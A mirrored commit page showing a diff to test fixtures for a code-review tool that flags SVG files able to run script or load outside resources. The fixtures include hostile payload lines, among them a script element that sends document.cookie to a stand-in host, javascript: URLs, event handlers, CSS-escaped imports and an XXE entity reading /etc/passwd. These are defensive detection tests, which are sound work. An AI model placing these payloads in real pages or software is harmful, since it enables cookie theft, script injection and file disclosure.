mirror of
https://github.com/garrytan/gstack.git
synced 2026-11-11 03:00:26 +01:00
fix(review): the SVG drawing check refuses CSS escapes and reads zero-padded character references; the security class reads a file's changed SVG lines joined (GST-911 review pass 1)
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
1 parent
8b034914cc
commit
d8227c100d
5 files changed
+28
-15
No files matched your search
@@ -79,8 +79,8 @@ const REVIEWER_BRIEFS: Record<string, { sha: string; replay: Replay }> = {
|
||||
'review/specialists/testing.md': { sha: 'd6cc2bef7be562387d0c0a22fefe646dff9c295f1d34d8453a6cb496584150e4', replay: '#3638' },
|
||||
'review/specialists/targeted.md': { sha: '7f92a0d0a8319c3c0e076fb3b1a4689c45120b2be2c14dfc7d4cb03aafa9d6a5', replay: 'GST-257' },
|
||||
'scripts/resolvers/fix-check.ts': { sha: '712bf5b0c439e96bac32f19cbe25394dabb4c94aa66600100bfde9b100e15a08', replay: '#3638' },
|
||||
'lib/review-depth.ts': { sha: '7352b9e6e4e9f44c6e94f56cbb908d9a16b2ff536548770470af6169ffabccf7', replay: 'GST-911' },
|
||||
'lib/review-risk.ts': { sha: 'c1b1baec718798df9e7629d641a864dc2125455f51339535f7c95057e0d83fcd', replay: 'GST-911' },
|
||||
'lib/review-depth.ts': { sha: 'd3b269015a8d97b4cf5654c0dacc5bea7562b96e3c1c3c6fc9442ef4bb336637', replay: 'GST-911' },
|
||||
'lib/review-risk.ts': { sha: 'df618e8aef3d641e8bf2073d8dca170740434acbb69c04555c4166df047f566c', replay: 'GST-911' },
|
||||
};
|
||||
|
||||
describe('reviewer briefs stay at their no-loss-tested bytes (GSTA-167)', () => {
|
||||
|
||||
@@ -105,8 +105,8 @@ describe('GST-911 misread 1: a chart SVG is data, an SVG that can run code is se
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=an SVG that can execute script stays code and gets the security class (full depth), however it spells the script;
|
||||
// fails_when=a script element, a namespaced script, an event handler, a javascript: URL (plain or entity-encoded) or a
|
||||
// foreignObject plans as docs or loses the security class; seam=collectCommit + depthOfCommitInput
|
||||
// fails_when=a script element, a namespaced script, an event handler, a javascript: URL (plain, entity-encoded or zero-padded) or a
|
||||
// foreignObject plans as docs or loses the security class, or a handler or URL split across lines loses it; seam=collectCommit + depthOfCommitInput
|
||||
test.each([
|
||||
['a script element', ' <script>fetch("https://x.test/?c=" + document.cookie)</script>'],
|
||||
['a namespaced script', ' <s:script xmlns:s="http://www.w3.org/2000/svg">window.x = 42</s:script>'],
|
||||
@@ -114,13 +114,17 @@ describe('GST-911 misread 1: a chart SVG is data, an SVG that can run code is se
|
||||
['a javascript: URL', ' <a xlink:href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['an entity-encoded javascript: URL', ' <a href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['a foreignObject', ' <foreignObject width="10" height="10"><div xmlns="http://www.w3.org/1999/xhtml">x</div></foreignObject>'],
|
||||
['a zero-padded javascript: URL', ' <a href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['an event handler split across lines', ' <rect width="10" onload\n ="alert(1)"/>'],
|
||||
['a javascript: URL split across lines', ' <a href="java\nscript:alert(1)"><text>x</text></a>'],
|
||||
])('%s stays code with the security class', (_name, line) => {
|
||||
const fx = fixture();
|
||||
expect(plan(fx, fx.commit({ 'results/chart.svg': chart(5, line) }))).toMatchObject({ class: 'code', depth: 'full', risk: ['security'] });
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=only an SVG made of drawing elements is data: anything that loads, links or declares outside that set stays code;
|
||||
// fails_when=an external image or stylesheet, an entity declaration, an animation or a CSS url() to another document reads as docs; seam=collectCommit + depthOfCommitInput
|
||||
// fails_when=an external image or stylesheet, an entity declaration, an animation or a CSS url() to another document reads as docs,
|
||||
// including through a CSS escape or a zero-padded character reference (review pass 1 findings); seam=collectCommit + depthOfCommitInput
|
||||
test.each([
|
||||
['an external image', ' <image href="https://x.test/pixel.png" width="1" height="1"/>'],
|
||||
['a CSS import', ' <style>@import url("https://x.test/a.css");</style>'],
|
||||
@@ -128,6 +132,10 @@ describe('GST-911 misread 1: a chart SVG is data, an SVG that can run code is se
|
||||
['an animation', ' <animate attributeName="x" from="0" to="10" dur="1s"/>'],
|
||||
['a stylesheet processing instruction', '<?xml-stylesheet href="https://x.test/a.css"?>'],
|
||||
['an entity declaration', '<!DOCTYPE svg [ <!ENTITY e SYSTEM "file:///etc/passwd"> ]>'],
|
||||
['a CSS-escaped import', ' <style>@\\69mport "https://x.test/a.css";</style>'],
|
||||
['a CSS-escaped url()', ' <rect style="fill: u\\72l(https://x.test/a.svg#g)"/>'],
|
||||
['a zero-padded character reference import', ' <style>@import "https://x.test/a.css";</style>'],
|
||||
['a zero-padded hex character reference url()', ' <rect style="fill: url(https://x.test/a.svg#g)"/>'],
|
||||
])('%s keeps the SVG code', (_name, line) => {
|
||||
const fx = fixture();
|
||||
expect(plan(fx, fx.commit({ 'results/chart.svg': chart(5, line) })).class).toBe('code');
|
||||
|
||||
Reference in new issue
Block a user